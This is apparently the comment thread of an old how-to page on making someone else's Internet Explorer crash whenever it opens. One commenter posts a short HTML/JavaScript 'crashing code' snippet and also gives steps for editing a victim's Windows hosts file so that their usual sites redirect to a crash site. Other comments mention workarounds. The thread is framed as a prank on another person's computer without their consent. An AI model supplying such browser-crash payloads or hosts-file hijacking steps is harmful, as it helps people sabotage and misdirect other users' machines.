How to Make Someone's Internet Explorer Crash Everytime They Open It

Dec 31, 2007. 8:28 PM

noahw says:

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Jan 8, 2008. 11:00 AMbofthem says:

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Apr 30, 2010. 11:21 AMjamie50 says:

or you could just press "start" then "favorites" and then click on one of your favorites then after it loads click on "tools" then "internet options" and type in the previous home page.

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Apr 26, 2010. 3:16 AMmust invent says:

Weird, it doesn't crash IE8!
I got the crashing code in the very beginning of the source code:
<script>for(x in document.write){document.write(x);}</script><input type crash>
To do it in notepad:
<html>
<script>for(x in document.write){document.write(x);}</script><input type crash>
</html>

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Apr 16, 2010. 1:31 AMmust invent says:

Will that crash Firefox?

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Apr 8, 2010. 6:31 AMmust invent says:

You may also modify the hosts file in:
C:\Windows\System32drivers\etc\hosts
or Start>Run>
and type: "notepad C:\Windows\System32drivers\etc\hosts" minus the quotes
once opened, add to the bottom of the file:

(crashie.com IP address) (victim's frequently visited sites)

Tell me if it works!

Jan 27, 2008. 10:28 PMTailslvr7_7 says:

Very good! But sorry to "burst your bubble" , but there is an loophole to this. All you have to do is create a shortcut to any website (do this by making a regular shortcut on your computer, but put a website as the location) and that will bypass your home page, making IE not crashing when opened!